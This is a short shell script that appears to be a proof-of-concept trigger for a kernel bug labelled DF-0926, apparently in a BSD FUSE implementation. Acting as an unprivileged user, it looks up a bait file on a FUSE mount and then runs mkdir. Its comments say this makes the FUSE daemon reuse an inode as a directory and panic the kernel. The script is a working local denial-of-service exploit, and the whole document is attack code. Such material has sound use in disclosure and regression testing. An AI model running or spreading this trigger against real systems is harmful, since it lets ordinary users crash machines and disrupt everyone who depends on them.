#!/bin/sh
# trigger.sh — perform the unprivileged lookups/mkdir that trigger DF-0926.
# Assumes fusedev has already mounted on /mnt/fuse.
set +e
echo "[trigger] as user: $(id -un) (uid=$(id -u))"
echo "[trigger] looking up /mnt/fuse/baitfile (creates VREG node ino=100)"
ls /mnt/fuse/baitfile 2>&1
echo "[trigger] mkdir /mnt/fuse/crashdir (daemon reuses ino=100 as VDIR -> KKASSERT panic)"
mkdir /mnt/fuse/crashdir 2>&1
echo "[trigger] mkdir rc=$?"
echo "[trigger] if you read this, the kernel did not panic"
